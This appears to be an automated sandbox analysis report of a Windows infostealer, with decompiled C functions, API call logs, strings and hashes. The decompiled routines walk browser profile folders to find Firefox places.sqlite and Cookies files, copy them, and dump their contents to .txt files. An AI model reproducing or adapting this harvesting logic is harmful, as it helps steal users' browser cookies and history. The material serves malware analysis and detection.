0x0041009f
0x004100a4
0x004100aa
0x004100b2
0x004100b3
0x004100b8
0x004100bb
0x004100cd
0x004100e5
0x004100e7
0x004100e9
0x004100e9
0x004100ec
0x004100ff
0x00410104
0x00410115
0x00410126
0x00410134
0x00410139
0x0041013a
0x0041013f
0x00410144
0x0041014b
0x0041014d
0x0041014e
0x00410151
0x00410166
0x0041017e
0x00410180
0x00410182
0x00410182
0x00410185
0x00410198
0x0041019d
0x004101ae
0x004101bf
0x004101cd
0x004101d2
0x004101d3
0x004101d8
0x004101dd
0x004101e4
0x004101ef
0x004101f1
0x004101f4
0x004101f9
0x004101fc
0x0041020c
0x0041021d
0x0041022b
0x0041022b
0x00410232
0x00410235
0x00410238
0x00410243
0x0041024e
0x0041025e
0x00410269
0x00410279
0x00410284
0x0041028f
0x00410297
0x004102a9

APIs

FindFirstFileW.KERNEL32(00000000,?,00000000,004102AA,?,00000000,?,00000000,0000004F,00000000,00000000,00000000,?,0041035E,00000000,00410D3F), ref: 004100E5
FindFirstFileW.KERNEL32(00000000,kie,\*.coo,0041A212,?,?,00000000,?,00000000,0000004F,00000000,00000000,00000000,?,0041035E,00000000), ref: 0041017E

Strings

.txt, xrefs: 004101FC
\*.txt, xrefs: 004100C5
kie, xrefs: 00410156
\*.coo, xrefs: 00410151

Memory Dump Source

Source File: 0000000C.00000002.510992835.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.510986386.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.511009597.000000000041B000.00000004.00020000.sdmp Download File

Yara matches

Similarity

API ID: FileFindFirst
String ID: .txt$\*.coo$\*.txt$kie
API String ID: 1974802433-3788688631
Opcode ID: e50edac87763fb21c0e782b6394c11c72045d7055ead1362fa5cef081c2f2ad4
Instruction ID: c1e5f67070ab417d913f5f98aba4e89ff4865fb3eb571cca3b9f1abb1d0943da
Opcode Fuzzy Hash: e50edac87763fb21c0e782b6394c11c72045d7055ead1362fa5cef081c2f2ad4
Instruction Fuzzy Hash: 0D512E74900119AFDB10EB65CC89ACDBBB8EF48304F5041F7A418B32A1DB78AF858F58

Uniqueness

Uniqueness Score: -1.00%

Function 00413030, Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 141
fileCOMMON

Download Yara Rule

C-Code - Quality: 52%

			E00413030(char __eax, void* __ebx, char __ecx, char __edx, void* __edi, void* __esi) {
				char _v8;
				char _v12;
				char _v16;
				void* _v24;
				struct _WIN32_FIND_DATAW _v616;
				char _v620;
				char _v624;
				char _v628;
				char _v632;
				char _v636;
				char _v640;
				char _v644;
				char _v648;
				char _v652;
				char _v656;
				void* _t69;
				intOrPtr* _t72;
				void* _t75;
				void* _t108;
				intOrPtr _t126;
				intOrPtr _t139;
				void* _t143;
				void* _t144;
				intOrPtr _t145;

				_t141 = __esi;
				_t140 = __edi;
				_t143 = _t144;
				_t145 = _t144 + 0xfffffd74;
				_push(__ebx);
				_push(__esi);
				_push(__edi);
				_v632 = 0;
				_v636 = 0;
				_v648 = 0;
				_v652 = 0;
				_v656 = 0;
				_v640 = 0;
				_v644 = 0;
				_v624 = 0;
				_v628 = 0;
				_v620 = 0;
				_v16 = __ecx;
				_v12 = __edx;
				_v8 = __eax;
				E00404150( &_v8);
				E00404150( &_v12);
				E00404150( &_v16);
				_push(_t143);
				_push(0x41328e);
				_push( *[fs:eax]);
				 *[fs:eax] = _t145;
				E00403E14( &_v620, L"\\*.*", _v8, 0);
				_t69 = FindFirstFileW(E00403D98(_v620),  &_v616); // executed
				_v24 = _t69;
				do {
					_push(_v8);
					_push(0x4132b8);
					E00403D6C( &_v628, 0x104,  &(_v616.cFileName));
					_push(_v628);
					_push(0x4132b8);
					_t72 =  *0x41b3bc; // 0x41c80c
					_push( *_t72);
					E00403E78();
					_t75 = E0040776C(_v624, 0, 0x104); // executed
					if(_t75 != 0) {
						_push(_t143);
						_push(0x413202);
						_push( *[fs:eax]);
						 *[fs:eax] = _t145;
						_push(_v8);
						_push(0x4132b8);
						E00403D6C( &_v644, 0x104,  &(_v616.cFileName));
						_push(_v644);
						_push(L"\\places.sqlite");
						E00403E78();
						E0041253C(_v640, 0,  &_v636, _t140, _t141);
						E0040377C( &_v632, _v636);
						_push(_v632);
						_push(_v16);
						_push(0x4132b8);
						_push(_v12);
						_push(E004132E4);
						E00403D6C( &_v656, 0x104,  &(_v616.cFileName));
						_push(_v656);
						_push(L".txt");
						E00403E78();
						E0040377C( &_v648, _v652);
						_pop(_t108);
						E0040E6D4(_t108, 0, _v648, _t140, _t141);
						_pop(_t139);
						 *[fs:eax] = _t139;
					}
				} while (FindNextFileW(_v24,  &_v616) != 0);
				FindClose(_v24);
				_pop(_t126);
				 *[fs:eax] = _t126;
				_push(E00413295);
				E00403BF4( &_v656, 2);
				E004034E4( &_v648);
				E00403BF4( &_v644, 3);
				E004034E4( &_v632);
				E00403BF4( &_v628, 3);
				return E00403BF4( &_v16, 3);
			}

0x00413030
0x00413030
0x00413031
0x00413033
0x00413039
0x0041303a
0x0041303b
0x0041303e
0x00413044
0x0041304a
0x00413050
0x00413056
0x0041305c
0x00413062
0x00413068
0x0041306e
0x00413074
0x0041307a
0x0041307d
0x00413080
0x00413086
0x0041308e
0x00413096
0x0041309d
0x0041309e
0x004130a3
0x004130a6
0x004130be
0x004130cf
0x004130d4
0x004130d7
0x004130d7
0x004130da
0x004130f0
0x004130f5
0x004130fb
0x00413100
0x00413105
0x00413112
0x0041311d
0x00413124
0x0041312c
0x0041312d
0x00413132
0x00413135
0x00413138
0x0041313b
0x00413151
0x00413156
0x0041315c
0x0041316c
0x0041317d
0x0041318e
0x00413199
0x0041319a
0x0041319d
0x004131a2
0x004131a5
0x004131bb
0x004131c0
0x004131c6
0x004131d6
0x004131e7
0x004131f2
0x004131f3
0x004131fa
0x004131fd
0x004131fd
0x0041321c
0x00413228
0x0041322f
0x00413232
0x00413235
0x00413245
0x00413250
0x00413260
0x0041326b
0x0041327b
0x0041328d

APIs

Part of subcall function 00404150: SysAllocStringLen.OLEAUT32(SOFTWARE\Microsoft\Cryptography,?), ref: 0040415E

FindFirstFileW.KERNEL32(00000000,?,00000000,0041328E,?,00000000,?,00000000,?,00413A53,00000000,00000000,00000000,00000000,00000000,00000000), ref: 004130CF

Part of subcall function 0040776C: GetFileAttributesW.KERNEL32(00000000,00000000,004077B8,?,0041CA58,?,?,004096E8,00000000,00000000,00000000,00409963,?,?,?,00000000), ref: 0040779A

FindNextFileW.KERNEL32(?,?,0041C80C,004132B8,?,004132B8,0041A212,00000000,?,00000000,0041328E,?,00000000,?,00000000), ref: 00413217
FindClose.KERNEL32(?,?,?,0041C80C,004132B8,?,004132B8,0041A212,00000000,?,00000000,0041328E,?,00000000,?,00000000), ref: 00413228

Part of subcall function 0041253C: GetTickCount.KERNEL32 ref: 00412580
Part of subcall function 0041253C: CopyFileW.KERNEL32(00000000,00000000,000000FF,?,00412840,?,.tmp,?,?,00000000,0041277F,?,00000000,00412809,?,00000000), ref: 004125FC

Strings

.txt, xrefs: 004131C6
\places.sqlite, xrefs: 0041315C
\*.*, xrefs: 004130B6

Memory Dump Source

Source File: 0000000C.00000002.510992835.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.510986386.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.511009597.000000000041B000.00000004.00020000.sdmp Download File

Yara matches

Similarity

API ID: File$Find$AllocAttributesCloseCopyCountFirstNextStringTick
String ID: .txt$\*.*$\places.sqlite
API String ID: 572697310-3919338718
Opcode ID: e92b156551864a17c9b97bc1ed2b9a252f56e6ba42ea25c69486400161096f82
Instruction ID: db2ad4c0925ffecf13339862ae006cc807f871b19183d5a4da560477eb916681
Opcode Fuzzy Hash: e92b156551864a17c9b97bc1ed2b9a252f56e6ba42ea25c69486400161096f82
Instruction Fuzzy Hash: 50512E749042199FCF50EF62CC89ACDBBB9EB48305F5041FAA508B3251DB399F858F18

Uniqueness

Uniqueness Score: -1.00%

Function 0040F798, Relevance: 8.9, APIs: 2, Strings: 3, Instructions: 199
fileCOMMON

Download Yara Rule

C-Code - Quality: 46%

			E0040F798(signed int __eax, void* __ebx, void* __ecx, char __edx, void* __edi, void* __esi, intOrPtr _a4) {
				signed int _v8;
				char _v12;
				char _v16;
				void* _v24;
				intOrPtr _v117;
				struct _WIN32_FIND_DATAW _v616;
				char _v620;
				intOrPtr _v624;
				char _v628;
				char _v632;
				char _v636;
				char _v640;
				char _v644;
				char _v648;
				intOrPtr _v652;
				char _v656;
				char _v660;
				char _v664;
				intOrPtr _v668;
				char _v672;
				char _v676;
				intOrPtr _v680;
				char _v684;
				signed int _t76;
				signed int _t77;
				void* _t92;
				void* _t97;
				int _t102;
				intOrPtr* _t104;
				void* _t143;
				void* _t158;
				intOrPtr _t162;
				intOrPtr _t178;
				intOrPtr _t185;
				intOrPtr _t205;
				intOrPtr _t206;

				_t203 = __esi;
				_t202 = __edi;
				_t160 = __ebx;
				 *__eax =  *__eax | __eax;
				 *__eax =  *__eax + __eax;
				_t76 = __eax;
				 *_t76 =  *_t76 + _t76;
				_t77 = _t76 | 0x00000a00;
				 *_t77 =  *_t77 + _t77;
				_v117 = _v117 + __edx;
				_t205 = _t206;
				_push(__ecx);
				_t162 = 0x54;
				do {
					_push(0);
					_push(0);
					_t162 = _t162 - 1;
				} while (_t162 != 0);
				_push(_t162);
				_t3 =  &_v8;
				 *_t3 = _t162;
				_push(__ebx);
				_push(__esi);
				_push(__edi);
				_v16 =  *_t3;
				_v12 = __edx;
				_v8 = _t77;
				E00404150( &_v8);
				E00404150( &_v12);
				E00404150( &_v16);
				_push(_t205);
				_push(0x40fae2);
				_push( *[fs:eax]);
				 *[fs:eax] = _t206;
				E00403E14( &_v620, L"\\*.*", _v8, 0);
				_t92 = FindFirstFileW(E00403D98(_v620),  &_v616); // executed
				_v24 = _t92;
				do {
					_push(_v8);
					_push(0x40fb0c);
					E00403D6C( &_v628, 0x104,  &(_v616.cFileName));
					_push(_v628);
					_push(L"\\Cookies");
					E00403E78();
					_t97 = E0040776C(_v624, _t160, 0x104); // executed
					if(_t97 != 0) {
						_push(_t205);
						_push(0x40fa18);
						_push( *[fs:eax]);
						 *[fs:eax] = _t206;
						if(_a4 == 0) {
							_push(_v8);
							_push(0x40fb0c);
							E00403D6C( &_v644, 0x104,  &(_v616.cFileName));
							_push(_v644);
							_push(L"\\Cookies");
							E00403E78();
							E0040EDA8(_v640, _t160,  &_v636, _t202, _t203); // executed
							E0040377C( &_v632, _v636);
							_push(_v632);
							_push(_v16);
							_push(0x40fb0c);
							_push(_v12);
							_push(0x40fb2c);
							E00403D6C( &_v656, 0x104,  &(_v616.cFileName));
							_push(_v656);
							_push(L".txt");
							E00403E78();
							E0040377C( &_v648, _v652);
							_pop(_t158);
							E0040E6D4(_t158, _t160, _v648, _t202, _t203);
						}
						if(_a4 == 1) {
							_push(_v8);
							_push(0x40fb0c);
							E00403D6C( &_v672, 0x104,  &(_v616.cFileName));
							_push(_v672);
							_push(L"\\Cookies");
							E00403E78();
							E0040F300(_v668, _t160,  &_v664, _t202, _t203);
							E0040377C( &_v660, _v664);
							_push(_v660);
							_push(_v16);
							_push(0x40fb0c);
							_push(_v12);
							_push(0x40fb2c);
							E00403D6C( &_v684, 0x104,  &(_v616.cFileName));
							_push(_v684);
							_push(L".txt");
							E00403E78();
							E0040377C( &_v676, _v680);
							_pop(_t143);
							E0040E6D4(_t143, _t160, _v676, _t202, _t203);
						}
						_pop(_t185);
						 *[fs:eax] = _t185;
					}
					_t102 = FindNextFileW(_v24,  &_v616); // executed
				} while (_t102 != 0);
				_t104 =  *0x41b3ec; // 0x41c6c8
				 *((intOrPtr*)( *_t104))(_v24);
				_pop(_t178);
				 *[fs:eax] = _t178;
				_push(E0040FAEC);
				E00403BF4( &_v684, 2);
				E004034E4( &_v676);
				E00403BF4( &_v672, 3);
				E004034E4( &_v660);
				E00403BF4( &_v656, 2);
				E004034E4( &_v648);
				E00403BF4( &_v644, 3);
				E004034E4( &_v632);
				E00403BF4( &_v628, 3);
				return E00403BF4( &_v16, 3);
			}

0x0040f798
0x0040f798
0x0040f798
0x0040f798
0x0040f79a
0x0040f79c
0x0040f79e
0x0040f7a0
0x0040f7a5
0x0040f7a7
0x0040f7a9
0x0040f7ab
0x0040f7ac
0x0040f7b1
0x0040f7b1
0x0040f7b3
0x0040f7b5
0x0040f7b5
0x0040f7b8
0x0040f7b9
0x0040f7b9
0x0040f7bc
0x0040f7bd
0x0040f7be
0x0040f7bf
0x0040f7c2
0x0040f7c5
0x0040f7cb
0x0040f7d3
0x0040f7db
0x0040f7e2
0x0040f7e3
0x0040f7e8
0x0040f7eb
0x0040f803
0x0040f81b
0x0040f81d
0x0040f820
0x0040f820
0x0040f823
0x0040f839
0x0040f83e
0x0040f844
0x0040f854
0x0040f85f
0x0040f866
0x0040f86e
0x0040f86f
0x0040f874
0x0040f877
0x0040f87e
0x0040f884
0x0040f887
0x0040f89d
0x0040f8a2
0x0040f8a8
0x0040f8b8
0x0040f8c9
0x0040f8da
0x0040f8e5
0x0040f8e6
0x0040f8e9
0x0040f8ee
0x0040f8f1
0x0040f907
0x0040f90c
0x0040f912
0x0040f922
0x0040f933
0x0040f93e
0x0040f93f
0x0040f93f
0x0040f948
0x0040f94e
0x0040f951
0x0040f967
0x0040f96c
0x0040f972
0x0040f982
0x0040f993
0x0040f9a4
0x0040f9af
0x0040f9b0
0x0040f9b3
0x0040f9b8
0x0040f9bb
0x0040f9d1
0x0040f9d6
0x0040f9dc
0x0040f9ec
0x0040f9fd
0x0040fa08
0x0040fa09
0x0040fa09
0x0040fa10
0x0040fa13
0x0040fa13
0x0040fa34
0x0040fa36
0x0040fa42
0x0040fa49
0x0040fa4d
0x0040fa50
0x0040fa53
0x0040fa63
0x0040fa6e
0x0040fa7e
0x0040fa89
0x0040fa99
0x0040faa4
0x0040fab4
0x0040fabf
0x0040facf
0x0040fae1

APIs

FindFirstFileW.KERNEL32(00000000,?,00000000,0040FAE2,?,00000000,?,00000000,00000053,00000000,00000000,?,?,004104B7,00000000,00000000), ref: 0040F81B
FindNextFileW.KERNEL32(?,?,\Cookies,?,0040FB0C,0041A212,?,00000000,?,00000000,00000053,00000000,00000000,?,?,004104B7), ref: 0040FA34

Part of subcall function 00403BF4: SysFreeString.OLEAUT32(?), ref: 00403C07

Strings

\*.*, xrefs: 0040F7FB
\Cookies, xrefs: 0040F844, 0040F8A8, 0040F972
.txt, xrefs: 0040F912, 0040F9DC

Memory Dump Source

Source File: 0000000C.00000002.510992835.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.510986386.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.511009597.000000000041B000.00000004.00020000.sdmp Download File

Yara matches

Similarity

API ID: FileFind$FirstFreeNextString
String ID: .txt$\*.*$\Cookies
API String ID: 3014163821-501373649
Opcode ID: 7b76c8a3f316f1e5a2c0a416a261fe2126647fbeef0f8c6cd7540ab74296dc7a
Instruction ID: 1a5b071d248f6ae29d6bf13c9a0fbe36510ae859f155961312d2fe837ffeb333
Opcode Fuzzy Hash: 7b76c8a3f316f1e5a2c0a416a261fe2126647fbeef0f8c6cd7540ab74296dc7a
Instruction Fuzzy Hash: D0814C74A001199FDB21EB51CC86BCDBBB9EF44304F5041F6A408B76A1DB78AF898F14

Uniqueness

Uniqueness Score: -1.00%

Function 0040F7A0, Relevance: 8.9, APIs: 2, Strings: 3, Instructions: 195
fileCOMMON

Download Yara Rule

C-Code - Quality: 44%

			E0040F7A0(signed int __eax, void* __ebx, void* __ecx, char __edx, void* __edi, void* __esi, intOrPtr _a4) {
				signed int _v8;
				char _v12;
				char _v16;
				void* _v24;
				intOrPtr _v117;
				struct _WIN32_FIND_DATAW _v616;
				char _v620;
				intOrPtr _v624;
				char _v628;
				char _v632;
				char _v636;
				char _v640;
				char _v644;
				char _v648;
				intOrPtr _v652;
				char _v656;
				char _v660;
				char _v664;
				intOrPtr _v668;
				char _v672;
				char _v676;
				intOrPtr _v680;
				char _v684;
				signed int _t76;
				void* _t91;
				void* _t96;
				int _t101;
				intOrPtr* _t103;
				void* _t142;
				void* _t157;
				intOrPtr _t161;
				intOrPtr _t177;
				intOrPtr _t184;
				intOrPtr _t204;
				intOrPtr _t205;

				_t202 = __esi;
				_t201 = __edi;
				_t159 = __ebx;
				_t76 = __eax | 0x00000a00;
				 *_t76 =  *_t76 + _t76;
				_v117 = _v117 + __edx;
				_t204 = _t205;
				_push(__ecx);
				_t161 = 0x54;
				do {
					_push(0);
					_push(0);
					_t161 = _t161 - 1;
				} while (_t161 != 0);
				_push(_t161);
				_t3 =  &_v8;
				 *_t3 = _t161;
				_push(__ebx);
				_push(__esi);
				_push(__edi);
				_v16 =  *_t3;
				_v12 = __edx;
				_v8 = _t76;
				E00404150( &_v8);
				E00404150( &_v12);
				E00404150( &_v16);
				_push(_t204);
				_push(0x40fae2);
				_push( *[fs:eax]);
				 *[fs:eax] = _t205;
				E00403E14( &_v620, L"\\*.*", _v8, 0);
				_t91 = FindFirstFileW(E00403D98(_v620),  &_v616); // executed
				_v24 = _t91;
				do {
					_push(_v8);
					_push(0x40fb0c);
					E00403D6C( &_v628, 0x104,  &(_v616.cFileName));
					_push(_v628);
					_push(L"\\Cookies");
					E00403E78();
					_t96 = E0040776C(_v624, _t159, 0x104); // executed
					if(_t96 != 0) {
						_push(_t204);
						_push(0x40fa18);
						_push( *[fs:eax]);
						 *[fs:eax] = _t205;
						if(_a4 == 0) {
							_push(_v8);
							_push(0x40fb0c);
							E00403D6C( &_v644, 0x104,  &(_v616.cFileName));
							_push(_v644);
							_push(L"\\Cookies");
							E00403E78();
							E0040EDA8(_v640, _t159,  &_v636, _t201, _t202); // executed
							E0040377C( &_v632, _v636);
							_push(_v632);
							_push(_v16);
							_push(0x40fb0c);
							_push(_v12);
							_push(0x40fb2c);
							E00403D6C( &_v656, 0x104,  &(_v616.cFileName));
							_push(_v656);
							_push(L".txt");
							E00403E78();
							E0040377C( &_v648, _v652);
							_pop(_t157);
							E0040E6D4(_t157, _t159, _v648, _t201, _t202);
						}
						if(_a4 == 1) {
							_push(_v8);
							_push(0x40fb0c);
							E00403D6C( &_v672, 0x104,  &(_v616.cFileName));
							_push(_v672);
							_push(L"\\Cookies");
							E00403E78();
							E0040F300(_v668, _t159,  &_v664, _t201, _t202);
							E0040377C( &_v660, _v664);
							_push(_v660);
							_push(_v16);
							_push(0x40fb0c);
							_push(_v12);
							_push(0x40fb2c);
							E00403D6C( &_v684, 0x104,  &(_v616.cFileName));
							_push(_v684);
							_push(L".txt");
							E00403E78();
							E0040377C( &_v676, _v680);
							_pop(_t142);
							E0040E6D4(_t142, _t159, _v676, _t201, _t202);
						}
						_pop(_t184);
						 *[fs:eax] = _t184;
					}
					_t101 = FindNextFileW(_v24,  &_v616); // executed
				} while (_t101 != 0);
				_t103 =  *0x41b3ec; // 0x41c6c8
				 *((intOrPtr*)( *_t103))(_v24);
				_pop(_t177);
				 *[fs:eax] = _t177;
				_push(E0040FAEC);
				E00403BF4( &_v684, 2);
				E004034E4( &_v676);
				E00403BF4( &_v672, 3);
				E004034E4( &_v660);
				E00403BF4( &_v656, 2);
				E004034E4( &_v648);
				E00403BF4( &_v644, 3);
				E004034E4( &_v632);
				E00403BF4( &_v628, 3);
				return E00403BF4( &_v16, 3);
			}

0x0040f7a0
0x0040f7a0
0x0040f7a0
0x0040f7a0
0x0040f7a5
0x0040f7a7
0x0040f7a9
0x0040f7ab
0x0040f7ac
0x0040f7b1
0x0040f7b1
0x0040f7b3
0x0040f7b5
0x0040f7b5
0x0040f7b8
0x0040f7b9
0x0040f7b9
0x0040f7bc
0x0040f7bd
0x0040f7be
0x0040f7bf
0x0040f7c2
0x0040f7c5
0x0040f7cb
0x0040f7d3
0x0040f7db
0x0040f7e2
0x0040f7e3
0x0040f7e8
0x0040f7eb
0x0040f803
0x0040f81b
0x0040f81d
0x0040f820
0x0040f820
0x0040f823
0x0040f839
0x0040f83e
0x0040f844
0x0040f854
0x0040f85f
0x0040f866
0x0040f86e
0x0040f86f
0x0040f874
0x0040f877
0x0040f87e
0x0040f884
0x0040f887
0x0040f89d
0x0040f8a2
0x0040f8a8
0x0040f8b8
0x0040f8c9
0x0040f8da
0x0040f8e5
0x0040f8e6
0x0040f8e9
0x0040f8ee
0x0040f8f1
0x0040f907
0x0040f90c
0x0040f912
0x0040f922
0x0040f933
0x0040f93e
0x0040f93f
0x0040f93f
0x0040f948
0x0040f94e
0x0040f951
0x0040f967
0x0040f96c
0x0040f972
0x0040f982
0x0040f993
0x0040f9a4
0x0040f9af
0x0040f9b0
0x0040f9b3
0x0040f9b8
0x0040f9bb
0x0040f9d1
0x0040f9d6
0x0040f9dc
0x0040f9ec
0x0040f9fd
0x0040fa08
0x0040fa09
0x0040fa09
0x0040fa10
0x0040fa13
0x0040fa13
0x0040fa34
0x0040fa36
0x0040fa42
0x0040fa49
0x0040fa4d
0x0040fa50
0x0040fa53
0x0040fa63
0x0040fa6e
0x0040fa7e
0x0040fa89
0x0040fa99
0x0040faa4
0x0040fab4
0x0040fabf
0x0040facf
0x0040fae1

APIs

FindFirstFileW.KERNEL32(00000000,?,00000000,0040FAE2,?,00000000,?,00000000,00000053,00000000,00000000,?,?,004104B7,00000000,00000000), ref: 0040F81B
FindNextFileW.KERNEL32(?,?,\Cookies,?,0040FB0C,0041A212,?,00000000,?,00000000,00000053,00000000,00000000,?,?,004104B7), ref: 0040FA34

Part of subcall function 00403BF4: SysFreeString.OLEAUT32(?), ref: 00403C07

Strings

\*.*, xrefs: 0040F7FB
\Cookies, xrefs: 0040F844, 0040F8A8, 0040F972
.txt, xrefs: 0040F912, 0040F9DC

Memory Dump Source

Source File: 0000000C.00000002.510992835.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.510986386.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.511009597.000000000041B000.00000004.00020000.sdmp Download File

Yara matches

Similarity

API ID: FileFind$FirstFreeNextString
String ID: .txt$\*.*$\Cookies
API String ID: 3014163821-501373649
Opcode ID: 12f48b5287e034abf2eb212da68afab8c6067c45f1b2b4b626a14aad4332455a
Instruction ID: 7ed06445d863e160fba67454267b5bf04a25285b0f569738682010345bf6c968
Opcode Fuzzy Hash: 12f48b5287e034abf2eb212da68afab8c6067c45f1b2b4b626a14aad4332455a
Instruction Fuzzy Hash: E8813A74A001199FDB21EB51CC86BCDBBB9EF48304F5041F6A508B76A1DB78AF898F54

Uniqueness

Uniqueness Score: -1.00%

Function 0040F7A8, Relevance: 8.9, APIs: 2, Strings: 3, Instructions: 193
fileCOMMON

Download Yara Rule

C-Code - Quality: 42%

			E0040F7A8(char __eax, void* __ebx, void* __ecx, char __edx, void* __edi, void* __esi, intOrPtr _a4) {
				char _v8;
				char _v12;
				char _v16;
				void* _v24;
				struct _WIN32_FIND_DATAW _v616;
				char _v620;
				intOrPtr _v624;
				char _v628;
				char _v632;
				char _v636;
				char _v640;
				char _v644;
				char _v648;
				intOrPtr _v652;
				char _v656;
				char _v660;
				char _v664;
				intOrPtr _v668;
				char _v672;
				char _v676;
				intOrPtr _v680;
				char _v684;
				void* _t88;
				void* _t93;
				int _t98;
				intOrPtr* _t100;
				void* _t139;
				void* _t154;
				intOrPtr _t158;
				intOrPtr _t174;
				intOrPtr _t181;
				intOrPtr _t201;
				intOrPtr _t202;

				_t199 = __esi;
				_t198 = __edi;
				_t156 = __ebx;
				_t201 = _t202;
				_push(__ecx);
				_t158 = 0x54;
				do {
					_push(0);
					_push(0);
					_t158 = _t158 - 1;
				} while (_t158 != 0);
				_push(_t158);
				_t1 =  &_v8;
				 *_t1 = _t158;
				_push(__ebx);
				_push(__esi);
				_push(__edi);
				_v16 =  *_t1;
				_v12 = __edx;
				_v8 = __eax;
				E00404150( &_v8);
				E00404150( &_v12);
				E00404150( &_v16);
				_push(_t201);
				_push(0x40fae2);
				_push( *[fs:eax]);
				 *[fs:eax] = _t202;
				E00403E14( &_v620, L"\\*.*", _v8, 0);
				_t88 = FindFirstFileW(E00403D98(_v620),  &_v616); // executed
				_v24 = _t88;
				do {
					_push(_v8);
					_push(0x40fb0c);
					E00403D6C( &_v628, 0x104,  &(_v616.cFileName));
					_push(_v628);
					_push(L"\\Cookies");
					E00403E78();
					_t93 = E0040776C(_v624, _t156, 0x104); // executed
					if(_t93 != 0) {
						_push(_t201);
						_push(0x40fa18);
						_push( *[fs:eax]);
						 *[fs:eax] = _t202;
						if(_a4 == 0) {
							_push(_v8);
							_push(0x40fb0c);
							E00403D6C( &_v644, 0x104,  &(_v616.cFileName));
							_push(_v644);
							_push(L"\\Cookies");
							E00403E78();
							E0040EDA8(_v640, _t156,  &_v636, _t198, _t199); // executed
							E0040377C( &_v632, _v636);
							_push(_v632);
							_push(_v16);
							_push(0x40fb0c);
							_push(_v12);
							_push(0x40fb2c);
							E00403D6C( &_v656, 0x104,  &(_v616.cFileName));
							_push(_v656);
							_push(L".txt");
							E00403E78();
							E0040377C( &_v648, _v652);
							_pop(_t154);
							E0040E6D4(_t154, _t156, _v648, _t198, _t199);
						}
						if(_a4 == 1) {
							_push(_v8);
							_push(0x40fb0c);
							E00403D6C( &_v672, 0x104,  &(_v616.cFileName));
							_push(_v672);
							_push(L"\\Cookies");
							E00403E78();
							E0040F300(_v668, _t156,  &_v664, _t198, _t199);
							E0040377C( &_v660, _v664);
							_push(_v660);
							_push(_v16);
							_push(0x40fb0c);
							_push(_v12);
							_push(0x40fb2c);
							E00403D6C( &_v684, 0x104,  &(_v616.cFileName));
							_push(_v684);
							_push(L".txt");
							E00403E78();
							E0040377C( &_v676, _v680);
							_pop(_t139);
							E0040E6D4(_t139, _t156, _v676, _t198, _t199);
						}
						_pop(_t181);
						 *[fs:eax] = _t181;
					}
					_t98 = FindNextFileW(_v24,  &_v616); // executed
				} while (_t98 != 0);
				_t100 =  *0x41b3ec; // 0x41c6c8
				 *((intOrPtr*)( *_t100))(_v24);
				_pop(_t174);
				 *[fs:eax] = _t174;
				_push(E0040FAEC);
				E00403BF4( &_v684, 2);
				E004034E4( &_v676);
				E00403BF4( &_v672, 3);
				E004034E4( &_v660);
				E00403BF4( &_v656, 2);
				E004034E4( &_v648);
				E00403BF4( &_v644, 3);
				E004034E4( &_v632);
				E00403BF4( &_v628, 3);
				return E00403BF4( &_v16, 3);
			}

0x0040f7a8
0x0040f7a8
0x0040f7a8
0x0040f7a9
0x0040f7ab
0x0040f7ac
0x0040f7b1
0x0040f7b1
0x0040f7b3
0x0040f7b5
0x0040f7b5
0x0040f7b8
0x0040f7b9
0x0040f7b9
0x0040f7bc
0x0040f7bd
0x0040f7be
0x0040f7bf
0x0040f7c2
0x0040f7c5
0x0040f7cb
0x0040f7d3
0x0040f7db
0x0040f7e2
0x0040f7e3
0x0040f7e8
0x0040f7eb
0x0040f803
0x0040f81b
0x0040f81d
0x0040f820
0x0040f820
0x0040f823
0x0040f839
0x0040f83e
0x0040f844
0x0040f854
0x0040f85f
0x0040f866
0x0040f86e
0x0040f86f
0x0040f874
0x0040f877
0x0040f87e
0x0040f884
0x0040f887
0x0040f89d
0x0040f8a2
0x0040f8a8
0x0040f8b8
0x0040f8c9
0x0040f8da
0x0040f8e5
0x0040f8e6
0x0040f8e9
0x0040f8ee
0x0040f8f1
0x0040f907
0x0040f90c
0x0040f912
0x0040f922
0x0040f933
0x0040f93e
0x0040f93f
0x0040f93f
0x0040f948
0x0040f94e
0x0040f951
0x0040f967
0x0040f96c
0x0040f972
0x0040f982
0x0040f993
0x0040f9a4
0x0040f9af
0x0040f9b0
0x0040f9b3
0x0040f9b8
0x0040f9bb
0x0040f9d1
0x0040f9d6
0x0040f9dc
0x0040f9ec
0x0040f9fd
0x0040fa08
0x0040fa09
0x0040fa09
0x0040fa10
0x0040fa13
0x0040fa13
0x0040fa34
0x0040fa36
0x0040fa42
0x0040fa49
0x0040fa4d
0x0040fa50
0x0040fa53
0x0040fa63
0x0040fa6e
0x0040fa7e
0x0040fa89
0x0040fa99
0x0040faa4
0x0040fab4
0x0040fabf
0x0040facf
0x0040fae1

APIs

FindFirstFileW.KERNEL32(00000000,?,00000000,0040FAE2,?,00000000,?,00000000,00000053,00000000,00000000,?,?,004104B7,00000000,00000000), ref: 0040F81B
FindNextFileW.KERNEL32(?,?,\Cookies,?,0040FB0C,0041A212,?,00000000,?,00000000,00000053,00000000,00000000,?,?,004104B7), ref: 0040FA34

Part of subcall function 00403BF4: SysFreeString.OLEAUT32(?), ref: 00403C07

Strings

\*.*, xrefs: 0040F7FB
\Cookies, xrefs: 0040F844, 0040F8A8, 0040F972
.txt, xrefs: 0040F912, 0040F9DC

Memory Dump Source

Source File: 0000000C.00000002.510992835.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.510986386.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.511009597.000000000041B000.00000004.00020000.sdmp Download File

Yara matches

Similarity

API ID: FileFind$FirstFreeNextString
String ID: .txt$\*.*$\Cookies
API String ID: 3014163821-501373649
Opcode ID: 118361ccb9442fd28b5127879ffafbbc492cd51135056f7db636e225a8d6bfd6
Instruction ID: 18a1617b9b8f149533880ad129d71dbfb9d475960bc6fd5061eb86d9a2a16a10
Opcode Fuzzy Hash: 118361ccb9442fd28b5127879ffafbbc492cd51135056f7db636e225a8d6bfd6
